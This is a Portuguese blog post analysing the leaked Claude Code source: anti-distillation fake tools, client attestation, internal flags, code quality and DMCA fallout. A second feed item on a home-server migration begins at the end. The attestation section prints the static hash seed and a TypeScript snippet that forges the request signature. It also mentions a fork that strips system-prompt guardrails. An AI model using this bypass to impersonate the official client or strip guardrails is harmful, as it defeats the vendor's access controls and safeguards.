    <a href="#as-partes-mais-paranoicas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tem uma parte da análise que eu quase deixei passar porque estava olhando mais pras features escondidas. Mas talvez o mais revelador sobre a mentalidade da Anthropic esteja nos mecanismos de defesa contra cópia e abuso.</p>
<p>Segundo a análise do <a href="https://alex000kim.com/posts/2026-03-31-claude-code-source-leak/"target="_blank" rel="noopener">Alex Kim</a>, existe um modo de anti-distillation que pode pedir ao servidor pra injetar ferramentas falsas no prompt do sistema. A ideia é envenenar tráfego gravado por quem estiver tentando destilar o comportamento do Claude Code pra treinar concorrente. Tem também um segundo mecanismo de sumarização de texto de conectores, assinado criptograficamente, pra que parte do tráfego observável não corresponda ao raciocínio bruto original. Não é proteção perfeita. É mais uma camada de atrito. Mas mostra que a empresa está pensando explicitamente em cópia por observação, não só em segurança tradicional.</p>
<p>E tem a parte mais agressiva: client attestation. Cada request inclui um header de billing com um placeholder <code>cch=00000</code>, e o runtime nativo do Bun substitui isso por um hash calculado abaixo da camada JavaScript. Em outras palavras, não basta parecer Claude Code. O binário tenta provar que é Claude Code. Isso ajuda a explicar por que a briga com ferramentas terceiras como OpenCode ficou tão sensível: não era só questão comercial ou jurídica. Tinha enforcement técnico embutido no transporte.</p>
<h3>Atualização: o DRM morreu em menos de 24 horas<span class="hx:absolute hx:-mt-20" id="atualização-o-drm-morreu-em-menos-de-24-horas"></span>
    <a href="#atualiza%c3%a7%c3%a3o-o-drm-morreu-em-menos-de-24-horas" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Lembram que eu mencionei o client attestation como &ldquo;a parte mais agressiva&rdquo;? Pois é. Durou menos de um dia.</p>
<p>Pra entender o contexto: a Anthropic vinha travando uma guerra contra ferramentas terceiras desde janeiro de 2026. Primeiro veio o bloqueio server-side de tokens OAuth vindos de clientes não-oficiais. Depois, em março, o maintainer do <a href="https://github.com/anomalyco/opencode"target="_blank" rel="noopener">OpenCode</a> mergeou um <a href="https://github.com/anomalyco/opencode/issues/7456"target="_blank" rel="noopener">PR</a> removendo toda autenticação Claude do projeto. O commit message tinha duas palavras: &ldquo;anthropic legal requests.&rdquo; O <a href="https://www.theregister.com/2026/02/20/anthropic_clarifies_ban_third_party_claude_access/"target="_blank" rel="noopener">The Register reportou</a> que a Anthropic atualizou seus termos de serviço pra deixar explícito que tokens OAuth de assinaturas Pro/Max só podem ser usados no Claude Code oficial e no Claude.ai. Quem pagava $100-200/mês pelo Max e queria usar a ferramenta de sua escolha ficou na mão.</p>
<p>O mecanismo técnico por trás do bloqueio era justamente o <code>cch=</code>. Com o código vazado dá pra ver que o sistema tem duas partes. A primeira é um sufixo de versão: o campo <code>cc_version</code> inclui 3 caracteres hex derivados da primeira mensagem do usuário via SHA-256, usando um salt de 12 caracteres embutido no JavaScript. A segunda é o body hash propriamente dito: o corpo inteiro do request (mensagens, ferramentas, metadata, modelo, config de thinking, tudo) é serializado como JSON compacto com o placeholder <code>cch=00000</code>, e então hasheado com <a href="https://github.com/Cyan4973/xxHash"target="_blank" rel="noopener">xxHash64</a> usando um seed fixo. O resultado é mascarado com <code>0xFFFFF</code> (20 bits) e formatado como 5 caracteres hex lowercase. O placeholder é substituído pelo hash calculado antes do request sair do processo.</p>
<p>O detalhe que faz a diferença: essa substituição acontece dentro do runtime nativo do Bun, escrito em Zig, abaixo da camada JavaScript. O Bun literalmente muta a string JavaScript in-place, sobrescrevendo os bytes <code>00000</code> no buffer da string com o hash computado. Se você rodasse o mesmo bundle em Node ou num Bun stock, o placeholder iria pro servidor como está e o request seria rejeitado.</p>
<p>E aí veio o vazamento. Com o source code exposto, o <a href="https://x.com/StraughterG/status/2039344027556798476"target="_blank" rel="noopener">@StraughterG</a> (Jay Guthrie) anunciou na noite do mesmo dia: &ldquo;Yesterday I said Anthropic&rsquo;s compiled Zig cch= hash was banning 3rd-party Claude clients. Tonight, the DRM is dead. We extracted the algorithm from the binary. It&rsquo;s not advanced cryptography. It&rsquo;s a static xxHash64 seed.&rdquo;</p>
<p>O seed é <code>0x6E52736AC806831E</code>. O <a href="https://a10k.co/b/reverse-engineering-claude-code-cch.html"target="_blank" rel="noopener">algoritmo completo</a>, como explicou numa sequência de tweets, cabe em poucas linhas de TypeScript:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">xxhash</span> <span class="kr">from</span> <span class="s2">&#34;xxhash-wasm&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">{</span> <span class="nx">h64Raw</span> <span class="p">}</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">xxhash</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">body</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">request</span><span class="p">);</span> <span class="c1">// com cch=00000 no placeholder
</span></span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">hash</span> <span class="o">=</span> <span class="nx">h64Raw</span><span class="p">(</span><span class="k">new</span> <span class="nx">TextEncoder</span><span class="p">().</span><span class="nx">encode</span><span class="p">(</span><span class="nx">body</span><span class="p">),</span> <span class="mh">0x6E52736AC</span><span class="nx">n</span> <span class="o">|</span> <span class="p">(</span><span class="mh">0x806831E</span><span class="nx">n</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">cch</span> <span class="o">=</span> <span class="p">(</span><span class="nx">hash</span> <span class="o">&amp;</span> <span class="mh">0xFFFFF</span><span class="nx">n</span><span class="p">).</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">).</span><span class="nx">padStart</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="s2">&#34;0&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// substituir cch=00000 por cch={valor calculado}
</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <a href="https://x.com/paoloanzn/status/2039348588741087341"target="_blank" rel="noopener">@paoloanzn</a> celebrou: &ldquo;we cracked it. the cch= signing system in claude code is fully reverse engineered.&rdquo; E já colocou o bypass no <a href="https://github.com/paoloanzn/free-code"target="_blank" rel="noopener">free-code</a>, um fork do Claude Code com telemetria removida, guardrails de system prompt stripados, e todas as 54 feature flags experimentais desbloqueadas.</p>
<p><a href="https://github.com/paoloanzn/free-code"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/free-code-screenshot.png" alt="Screenshot do free-code rodando com features experimentais"  loading="lazy" /></a></p>
<p>O ponto técnico que importa: xxHash64 não é criptografia. É um hash de checksum projetado pra velocidade, não pra segurança. O seed é estático, embutido no binário. Muda a cada versão do Claude Code, mas dentro de uma versão é o mesmo pra todo mundo. A &ldquo;segurança&rdquo; dependia inteiramente de ninguém conseguir extrair o seed do binário Zig compilado. Com o source code vazado, essa obscuridade evaporou em horas.</p>
<p>Agora qualquer client terceiro — OpenCode, Claw-Code, o que for — pode interceptar o <code>fetch()</code>, hashear o body com o seed correto, e passar pela validação do servidor como se fosse o Claude Code oficial. A barreira que a Anthropic construiu pra proteger seu modelo de negócio de $2.5 bilhões de ARR era, no fim das contas, security by obscurity num hash não-criptográfico.</p>
<p>O terceiro detalhe é pequeno mas diz muito sobre produto real em produção: o sistema detecta frustração de usuário com regex. Sim, regex. Palavrão, insulto, &ldquo;this sucks&rdquo;, esse tipo de coisa. É engraçado ver uma empresa de LLM fazendo sentiment analysis na base do <code>wtf|ffs|shit</code>, mas também é o tipo de solução pragmática que alguém coloca quando precisa de resposta barata e imediata, não de elegância conceitual.</p>
<h2>O que o código revela sobre como você usa o Claude Code<span class="hx:absolute hx:-mt-20" id="o-que-o-código-revela-sobre-como-você-usa-o-claude-code"></span>
    <a href="#o-que-o-c%c3%b3digo-revela-sobre-como-voc%c3%aa-usa-o-claude-code" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://x.com/iamfakeguru/status/2038965567269249484"target="_blank" rel="noopener">@iamfakeguru</a> compilou uma thread com sete achados técnicos do código que qualquer usuário deveria saber:</p>
<p>O Claude Code tem um cap de 2.000 linhas por leitura de arquivo. Quando você pede pra ler um arquivo maior, ele trunca silenciosamente. Resultados de ferramentas são cortados em 50.000 caracteres. O sistema de compressão de context window descarta mensagens antigas pra caber mais contexto novo. E existe uma diferença entre o nível de acesso de funcionários Anthropic (<code>USER_TYPE === 'ant'</code>) e o acesso público: ferramentas internas como <code>ConfigTool</code> e <code>TungstenTool</code> são invisíveis no build externo.</p>
<p>A descoberta mais útil da thread é como funcionários Anthropic contornam as limitações que os usuários externos enfrentam. O código revela que <code>USER_TYPE === 'ant'</code> desbloqueia ferramentas internas, beta headers exclusivos (<code>cli-internal-2026-02-09</code>), acesso a staging (<code>claude-ai.staging.ant.dev</code>), e um <code>ConfigTool</code> que permite alterar configurações em runtime. Builds externos compilam tudo isso pra <code>false</code> via dead code elimination.</p>
<p>Mas o ponto que interessa é: o CLAUDE.md que você coloca na raiz do seu projeto é lido inteiro pelo Claude Code e injetado no system prompt. É literalmente o lugar onde você controla como o agente se comporta. O <a href="https://x.com/iamfakeguru/status/2038965567269249484"target="_blank" rel="noopener">@iamfakeguru</a> publicou um override completo com 10 regras mecânicas, e depois subiu o arquivo inteiro num repositório separado: <a href="https://github.com/iamfakeguru/claude-md"target="_blank" rel="noopener">iamfakeguru/claude-md</a>.</p>
<p><a href="https://github.com/iamfakeguru/claude-md/blob/main/CLAUDE.md"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.amazonaws.com/2026/03/31/claude-md-production-grade-agent-directives.png" alt="Screenshot do CLAUDE.md publicado pelo fakeguru"  loading="lazy" /></a></p>
<p>Eu não vou colar o bloco inteiro aqui. O que importa é o conteúdo: ele força verificação pós-edição (<code>tsc</code> e <code>eslint</code> antes de declarar sucesso), impõe releitura de arquivos antes de editar, exige leitura em chunks para arquivos grandes, assume truncamento silencioso de resultados muito longos, e manda quebrar trabalho maior em fases ou subagentes paralelos. Em outras palavras: ele transforma em regra explícita tudo que os usuários externos estavam apanhando para descobrir empiricamente.</p>
<p>Essas não são instruções mágicas. São guardrails. A diferença é que agora sabemos quais limites o sistema realmente tem e podemos escrever um CLAUDE.md que trabalha a favor deles, não contra eles.</p>
<h2>Bugs de cache que custam caro<span class="hx:absolute hx:-mt-20" id="bugs-de-cache-que-custam-caro"></span>
    <a href="#bugs-de-cache-que-custam-caro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://x.com/altryne/status/2038676458026189225"target="_blank" rel="noopener">@altryne</a> (Alex Volkov) reportou bugs de invalidação de cache que fazem tokens não-cacheados custarem 10-20x mais que os cacheados. São dois bugs: um de substituição de string no Bun que afeta a CLI standalone (workaround: usar <code>npx @anthropic-ai/claude-code</code> em vez do binário instalado), e outro na flag <code>--resume</code> que quebra o cache sem workaround conhecido. Mais de 500 usuários reportaram problemas similares de exaustão de quota. Se você sentiu que o Claude Code estava gastando tokens mais rápido que o esperado nos últimos dias, provavelmente não era impressão.</p>
<h2>&ldquo;Spaghetti de staff engineer&rdquo;<span class="hx:absolute hx:-mt-20" id="spaghetti-de-staff-engineer"></span>
    <a href="#spaghetti-de-staff-engineer" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A análise do código revelou problemas reais. Um comentário no próprio fonte admite: &ldquo;1.279 sessões tiveram 50+ falhas consecutivas (até 3.272) numa única sessão, desperdiçando ~250K chamadas de API por dia globalmente.&rdquo; O fix foram três linhas: limitar falhas consecutivas a três antes de desabilitar compactação.</p>
<p>O arquivo <code>print.ts</code> tem 5.594 linhas com uma única função de 3.167 linhas contendo doze níveis de nesting. O <code>main.tsx</code> tem 803.924 bytes num único arquivo. O <code>interactiveHelpers.tsx</code> tem 57.424 bytes. São arquivos que nenhum humano consegue revisar com confiança.</p>
<p>A reação mais viral veio do <a href="https://x.com/thekitze/status/2038956521942577557"target="_blank" rel="noopener">@thekitze</a>: ele pediu pro GPT-5.4 avaliar o codebase e a nota foi 6.5/10. A descrição: &ldquo;This is not junior spaghetti. This is staff-engineer spaghetti: performance-aware, feature-flagged, telemetry-instrumented, surgically optimized spaghetti.&rdquo; Ou seja, não é código ruim de inexperiência. É código ruim de pressão pra entregar rápido sem pagar o custo de organizar depois.</p>
<p>O <a href="https://x.com/thekitze/status/2038986445839622405"target="_blank" rel="noopener">@thekitze</a> também elaborou em outra thread sobre como o código evidencia falta de práticas básicas de engenharia. E é aqui que eu me sinto vindicado.</p>
<p>Eu venho repetindo em vários posts sobre <a href="/tags/vibe-coding/">vibe coding</a> que velocidade sem disciplina produz exatamente isso. Os princípios que eu defendo, incrementos pequenos, testes a cada passo, revisão antes de commitar, refactoring contínuo, CI que rejeita complexidade ciclomática alta, são os mesmos princípios do Extreme Programming que funcionam desde os anos 2000. A Anthropic aparentemente não seguiu nenhum deles no próprio produto.</p>
<p>Uma função de 3.167 linhas com 12 níveis de nesting não é algo que aparece da noite pro dia. É acúmulo. É o resultado de dezenas de adições onde ninguém parou pra refatorar porque &ldquo;tá funcionando, não mexe&rdquo;. É o anti-pattern clássico de vibe coding sem disciplina: gerar código com IA, ver que compila, fazer commit, repetir. Sem review rigoroso. Sem limites de complexidade no CI. Sem a regra básica de que se uma função passa de 50 linhas, ela precisa ser quebrada.</p>
<p>A ironia é que a Anthropic vende a ferramenta de vibe coding mais popular do mercado e não pratica o que eu chamo de vibe coding responsável. O Claude Code vale $2.5 bilhões de ARR. O código que gera esse faturamento tem qualidade 6.5/10.</p>
<h2>A questão do &ldquo;clean room&rdquo;<span class="hx:absolute hx:-mt-20" id="a-questão-do-clean-room"></span>
    <a href="#a-quest%c3%a3o-do-clean-room" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Com o código fonte inteiro público, surge uma implicação legal e competitiva séria. E aqui eu acho que muita gente começou a usar o termo &ldquo;clean room&rdquo; com uma leveza que não combina com o assunto.</p>
<p>Clean room de verdade não é só &ldquo;reescrevi em outra linguagem&rdquo; nem &ldquo;não dei copy and paste&rdquo;. O modelo clássico é bem mais chato: um grupo estuda o original e produz uma especificação funcional; outro grupo, isolado, implementa a partir dessa especificação sem ver o código original. A ideia é justamente reduzir o risco de contaminação.</p>
<p>O <a href="https://x.com/braelyn_ai/status/2039025584626397491"target="_blank" rel="noopener">@braelyn_ai</a> levantou outro ponto interessante: com ferramentas generativas, alguém poderia tentar um &ldquo;clean room rebuild&rdquo; usando testes, comportamento observável e documentação, sem reaproveitar a implementação original. Em tese, faz sentido. Na prática, o que aparece no calor do vazamento costuma ficar numa zona bem mais cinzenta.</p>
<p>O caso do <a href="https://github.com/ultraworkers/claw-code"target="_blank" rel="noopener">Claw-Code</a> ilustra isso bem. O projeto se apresenta como rewrite independente e já migrou o foco para Python e Rust, mas o próprio README admite estudo direto do código exposto e fala até em parity audit contra archive local. Então eu não chamaria isso de clean room clássico no sentido mais rigoroso. Eu chamaria de reimplementação inspirada, com tentativa deliberada de se afastar do snapshot vazado.</p>
<p>Isso não quer dizer que toda reimplementação está condenada. Copyright de software não protege ideia abstrata, fluxo genérico de ferramenta, arquitetura em alto nível ou &ldquo;uma CLI que faz X&rdquo;. Protege expressão concreta. Mas justamente por isso a disciplina importa. Quanto mais um projeto quiser sustentar independência, menos ele deveria depender do material vazado como benchmark direto.</p>
<p>Tem um detalhe mais pragmático aí: as cópias literais do source vazado provavelmente vão sumir rápido quando os primeiros DMCA começarem a chegar. Mirror cai fácil. É por isso que uma reimplementação interessa mais do que um espelho bruto. Isso não apaga a discussão jurídica, mas muda bastante o tipo de briga e a chance de continuar no ar.</p>
<p>Foi mais ou menos o que eu mesmo fiz quando <a href="/2026/03/16/reescrevi-o-openclaw-em-rust-funcionou-frankclaw/">reescrevi o OpenClaw em Rust</a>. O ponto não era copiar linha por linha. Era entender o comportamento e reescrever a peça inteira com código meu.</p>
<p>O site satírico <a href="https://malus.sh/"target="_blank" rel="noopener">malus.sh</a> apareceu hoje oferecendo &ldquo;Clean Room as a Service&rdquo; com o tagline &ldquo;Robot-Reconstructed, Zero Attribution&rdquo;. A piada: robôs de IA recriam projetos open source eliminando obrigações de atribuição, com garantias tipo &ldquo;This has never happened because it legally cannot happen. Trust us.&rdquo; e indenização via subsidiária offshore numa jurisdição que não reconhece copyright de software. É sátira, mas é sátira que descreve o que alguém vai tentar fazer de verdade.</p>
<p><a id="update-2026-04-02"></a></p>
<h2>Atualização em 2 de abril de 2026<span class="hx:absolute hx:-mt-20" id="atualização-em-2-de-abril-de-2026"></span>
    <a href="#atualiza%c3%a7%c3%a3o-em-2-de-abril-de-2026" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Como o texto acima abre no calor do dia 31, vale registrar o que aconteceu logo depois. Resolvi adicionar esta atualização depois de ler <a href="https://x.com/k1rallik/status/2039686500619534818"target="_blank" rel="noopener">este tweet do @k1rallik</a>, que resume bem o clima do pós-vazamento, mas mistura fatos confirmáveis com um pouco de épica demais.</p>
<p>Primeiro: a parte do DMCA ficou mais bagunçada do que parecia. A própria notice publicada no repositório <code>github/dmca</code> diz que o GitHub processou a remoção contra a rede inteira de <strong>8.1 mil repositórios</strong>, porque a notificação afirmava que &ldquo;all or most of the forks&rdquo; eram infringing na mesma medida que o repositório principal. No dia seguinte, a Anthropic publicou uma <strong>retratação parcial</strong>: pediu reinstalação de todos os repositórios removidos, exceto o <code>nirholas/claude-code</code> e <strong>96 forks listados individualmente</strong>. Então a tese de que a tentativa inicial foi ampla demais está certa. O retrato final, porém, não é &ldquo;8.100 repositórios ficaram derrubados&rdquo;. O que houve foi um recuo formal depois da remoção em massa.</p>
<p>Segundo: o projeto <a href="https://github.com/ultraworkers/claw-code"target="_blank" rel="noopener">Claw-Code</a> realmente explodiu. Na hora em que atualizei este post, o GitHub já mostrava <strong>142.829 stars</strong> e <strong>101.510 forks</strong>. Isso por si só já basta pra dizer que a história saiu da categoria &ldquo;fork curioso do vazamento&rdquo; e entrou na categoria &ldquo;efeito colateral competitivo real&rdquo;. O tweet viral que circulou hoje acerta no tamanho do estrago, mas exagera em alguns detalhes. O próprio README do projeto se autodescreve como &ldquo;the fastest repo in history to surpass 50K stars&rdquo; e diz que a marca veio em duas horas. Eu não consegui confirmar esse marco histórico de forma independente, então prefiro tratar isso como alegação do próprio projeto, não como fato fechado.</p>
<p>Terceiro: a parte do Rust também precisa de nuance. Sim, já existe workspace em Rust no branch principal e o <code>Cargo.toml</code> está com versão <code>0.1.0</code>. Mas eu não encontrei release pública no GitHub para sustentar a frase &ldquo;já saiu release 0.1.0&rdquo; como um lançamento formal. O que dá pra afirmar com segurança é outra coisa: o projeto já tem base em Python, já tem workspace em Rust, e já virou alvo de atenção suficiente para continuar existindo mesmo sem o mirror literal do código vazado.</p>
<h2>O que a Anthropic deveria ter feito<span class="hx:absolute hx:-mt-20" id="o-que-a-anthropic-deveria-ter-feito"></span>
    <a href="#o-que-a-anthropic-deveria-ter-feito" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A Anthropic respondeu rápido. Tirou o pacote comprometido, soltou uma nota pública, e limpou o que podia. Mas o dano já estava feito. O código foi espelhado antes da remoção. Mirrors no GitHub, análises em blogs, threads no X/Twitter. Não tem como des-publicar algo na internet.</p>
<p>O que me incomoda não é o vazamento em si. Bugs acontecem. O que me incomoda é que isso era evitável com práticas básicas de engenharia:</p>
<ol>
<li>Adicionar <code>*.map</code> ao <code>.npmignore</code>. Uma linha.</li>
<li>Configurar o bundler pra não gerar source maps em builds de produção. Uma flag.</li>
<li>Ter um CI check que rejeita publicação se o pacote contém <code>.map</code>. Um script de 5 linhas.</li>
<li>Ter um pipeline de release com review manual antes de publicar no npm. Processo, não código.</li>
</ol>
<p>Nenhuma dessas é difícil. Todas são o tipo de coisa que se perde quando você está movendo rápido demais e não tem disciplina no processo de release. É exatamente o que eu prego como <a href="/tags/vibe-coding/">vibe coding disciplinado</a>: mover rápido não significa pular os guardrails.</p>
<p>E a segunda falha: a qualidade do código em si. 512 mil linhas com funções de 3 mil linhas e 12 níveis de nesting não é engenharia. É acúmulo. É o que acontece quando você gera código com IA sem review rigoroso, sem refactoring contínuo, sem CI que rejeita complexidade ciclomática alta. A ironia de ser justamente a empresa que vende a ferramenta de vibe coding mais popular do mundo não passa despercebida.</p>
<h2>Fontes<span class="hx:absolute hx:-mt-20" id="fontes"></span>
    <a href="#fontes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li><a href="https://github.com/Kuberwastaken/claude-code"target="_blank" rel="noopener">Kuberwastaken/claude-code - Breakdown completo do código vazado</a></li>
<li><a href="https://alex000kim.com/posts/2026-03-31-claude-code-source-leak/"target="_blank" rel="noopener">Alex Kim - Claude Code Source Leak: fake tools, frustration regexes, undercover mode</a></li>
<li><a href="https://venturebeat.com/technology/claude-codes-source-code-appears-to-have-leaked-heres-what-we-know/"target="_blank" rel="noopener">VentureBeat - Claude Code&rsquo;s source code appears to have leaked</a></li>
<li><a href="https://www.theregister.com/2026/03/31/anthropic_claude_code_source_code/"target="_blank" rel="noopener">The Register - Anthropic accidentally exposes Claude Code source code</a></li>
<li><a href="https://fortune.com/2026/03/31/anthropic-source-code-claude-code-data-leak-second-security-lapse-days-after-accidentally-revealing-mythos/"target="_blank" rel="noopener">Fortune - Anthropic leaks its own AI coding tool&rsquo;s source code</a></li>
<li><a href="https://cybernews.com/security/anthropic-claude-code-source-leak/"target="_blank" rel="noopener">Cybernews - Full source code for Anthropic&rsquo;s Claude Code leaks</a></li>
<li><a href="https://gizmodo.com/source-code-for-anthropics-claude-code-leaks-at-the-exact-wrong-time-2000740379"target="_blank" rel="noopener">Gizmodo - Source Code for Anthropic&rsquo;s Claude Code Leaks at the Exact Wrong Time</a></li>
<li><a href="https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone?s=33"target="_blank" rel="noopener">Anthropic - Anthropic acquires Bun as Claude Code reaches $1B milestone</a></li>
<li><a href="https://github.com/oven-sh/bun/issues/28001"target="_blank" rel="noopener">Bun Issue #28001 - Source maps incorrectly served in production</a></li>
<li><a href="https://news.ycombinator.com/item?id=43909409"target="_blank" rel="noopener">Hacker News - Claude&rsquo;s system prompt is over 24k tokens with tools</a></li>
<li><a href="https://malus.sh/"target="_blank" rel="noopener">malus.sh - Clean Room as a Service (sátira)</a></li>
<li><a href="https://x.com/iamfakeguru/status/2038965567269249484"target="_blank" rel="noopener">@iamfakeguru - Thread com 7 achados técnicos do código</a></li>
<li><a href="https://x.com/altryne/status/2038676458026189225"target="_blank" rel="noopener">@altryne - Bugs de cache que custam 10-20x mais</a></li>
<li><a href="https://x.com/thekitze/status/2038956521942577557"target="_blank" rel="noopener">@thekitze - &ldquo;Staff-engineer spaghetti&rdquo; 6.5/10</a></li>
<li><a href="https://x.com/braelyn_ai/status/2039025584626397491"target="_blank" rel="noopener">@braelyn_ai - Clean room e implicações legais</a></li>
<li><a href="https://github.com/github/dmca/blob/master/2026/03/2026-03-31-anthropic.md"target="_blank" rel="noopener">GitHub DMCA - Anthropic takedown notice processada contra a rede de 8.1K repositórios</a></li>
<li><a href="https://github.com/github/dmca/blob/master/2026/04/2026-04-01-anthropic-retraction.md"target="_blank" rel="noopener">GitHub DMCA - Retratação parcial da Anthropic no dia seguinte</a></li>
<li><a href="https://github.com/ultraworkers/claw-code"target="_blank" rel="noopener">ultraworkers/claw-code - Reimplementação em Python e Rust que virou o principal projeto pós-vazamento</a></li>
<li><a href="https://x.com/mem0ai/status/2039041449854124229"target="_blank" rel="noopener">@mem0ai - Análise da arquitetura de memória</a></li>
<li><a href="https://x.com/himanshustwts/status/2038924027411222533"target="_blank" rel="noopener">@himanshustwts - Resumo da arquitetura de memória</a></li>
<li><a href="https://github.com/iamfakeguru/claude-md"target="_blank" rel="noopener">iamfakeguru/claude-md - Override publicado com o CLAUDE.md completo</a></li>
<li><a href="https://x.com/StraughterG/status/2039344027556798476"target="_blank" rel="noopener">@StraughterG - &ldquo;the DRM is dead&rdquo; - reverse engineering do cch= hash</a></li>
<li><a href="https://x.com/StraughterG/status/2039344035555344550"target="_blank" rel="noopener">@StraughterG - Seed xxHash64 e código TypeScript do bypass</a></li>
<li><a href="https://x.com/paoloanzn/status/2039348588741087341"target="_blank" rel="noopener">@paoloanzn - &ldquo;we cracked it&rdquo; - confirmação do reverse engineering</a></li>
<li><a href="https://github.com/paoloanzn/free-code"target="_blank" rel="noopener">paoloanzn/free-code - Fork do Claude Code com telemetria removida e features desbloqueadas</a></li>
<li><a href="https://a10k.co/b/reverse-engineering-claude-code-cch.html"target="_blank" rel="noopener">a10k.co - What&rsquo;s cch? Reverse Engineering Claude Code&rsquo;s Request Signing</a></li>
<li><a href="https://www.theregister.com/2026/02/20/anthropic_clarifies_ban_third_party_claude_access/"target="_blank" rel="noopener">The Register - Anthropic clarifies ban on third-party tool access to Claude</a></li>
<li><a href="https://github.com/anomalyco/opencode/issues/7456"target="_blank" rel="noopener">OpenCode Issue #7456 - Claude Code API credentials removal</a></li>
</ul>
]]></content:encoded><category>agentes-de-codigo</category><category>seguranca</category><category>engenharia-de-software</category></item><item><title>Migrando meu Home Server com Claude Code | openSUSE MicroOS</title><link>https://akitaonrails.github.io/2026/03/31/migrando-meu-home-server-com-claude-code/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/03/31/migrando-meu-home-server-com-claude-code/</guid><pubDate>Tue, 31 Mar 2026 16:00:00 -0300</pubDate><description>&lt;p&gt;Meu home server antigo era uma bagunça. Um Intel NUC com Ubuntu Server que eu fui remendando ao longo de dois anos. Containers com caminhos hardcoded, volumes montados em locais aleatórios (&lt;code&gt;/home/akitaonrails/docker/&lt;/code&gt;, &lt;code&gt;/home/akitaonrails/sonarr/&lt;/code&gt;, &lt;code&gt;/mnt/terachad/&lt;/code&gt;), docker-compose files espalhados sem padrão nenhum. Funcionava, mas se eu perdesse o disco, levaria dias pra reconstruir tudo de memória.&lt;/p&gt;
&lt;p&gt;Com o &lt;a href="https://akitaonrails.github.io/2026/03/31/review-minisforum-ms-s1-max-amd-ai-max-395/"&gt;novo Minisforum MS-S1 Max&lt;/a&gt; que comprei, decidi fazer a migração direito. E decidi usar Claude Code desde o início pra acelerar o processo. É um servidor caseiro, só eu uso, o risco de fazer besteira é baixo. Mas se fosse um servidor de produção real, eu jamais faria isso sem review humano rigoroso em cada passo.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Meu home server antigo era uma bagunça. Um Intel NUC com Ubuntu Server que eu fui remendando ao longo de dois anos. Containers com caminhos hardcoded, volumes montados em locais aleatórios (<code>/home/akitaonrails/docker/</code>, <code>/home/akitaonrails/sonarr/</code>, <code>/mnt/terachad/</code>), docker-compose files espalhados sem padrão nenhum. Funcionava, mas se eu perdesse o disco, levaria dias pra reconstruir tudo de memória.</p>
<p>Com o <a href="/2026/03/31/review-minisforum-ms-s1-max-amd-ai-max-395/">novo Minisforum MS-S1 Max</a> que comprei, decidi fazer a migração direito. E decidi usar Claude Code desde o início pra acelerar o processo. É um servidor caseiro, só eu uso, o risco de fazer besteira é baixo. Mas se fosse um servidor de produção real, eu jamais faria isso sem review humano rigoroso em cada passo.</p>
<p>O que segue é o relato da migração e o guia pra quem quiser replicar. Se um dia eu precisar reconstruir do zero, esse post é a documentação.</p>
<h2>Escolha do sistema operacional<span class="hx:absolute hx:-mt-20" id="escolha-do-sistema-operacional"></span>
    <a href="#escolha-do-sistema-operacional" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Por que não Ubuntu Server de novo<span class="hx:absolute hx:-mt-20" id="por-que-não-ubuntu-server-de-novo"></span>
    <a href="#por-que-n%c3%a3o-ubuntu-server-de-novo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Eu usei Ubuntu Server no NUC por praticidade. Mas <code>do-release-upgrade</code> é uma roleta russa. Toda vez que o Ubuntu lança versão nova, a atualização é um risco real de quebrar coisas. Pacotes mudam, configs são sobrescritas, dependências conflitam. Pra um servidor que precisa estar sempre rodando, isso é inaceitável.</p>
<h3>Por que não Arch Linux<span class="hx:absolute hx:-mt-20" id="por-que-não-arch-linux"></span>
    <a href="#por-que-n%c3%a3o-arch-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Eu uso Arch no desktop e gosto. Mas Arch é uma rolling release sem nenhuma garantia de estabilidade. Pra um desktop onde eu posso parar e resolver problemas, ótimo. Pra um servidor headless que roda 49 containers Docker e precisa funcionar depois de cada reboot, não.</p>
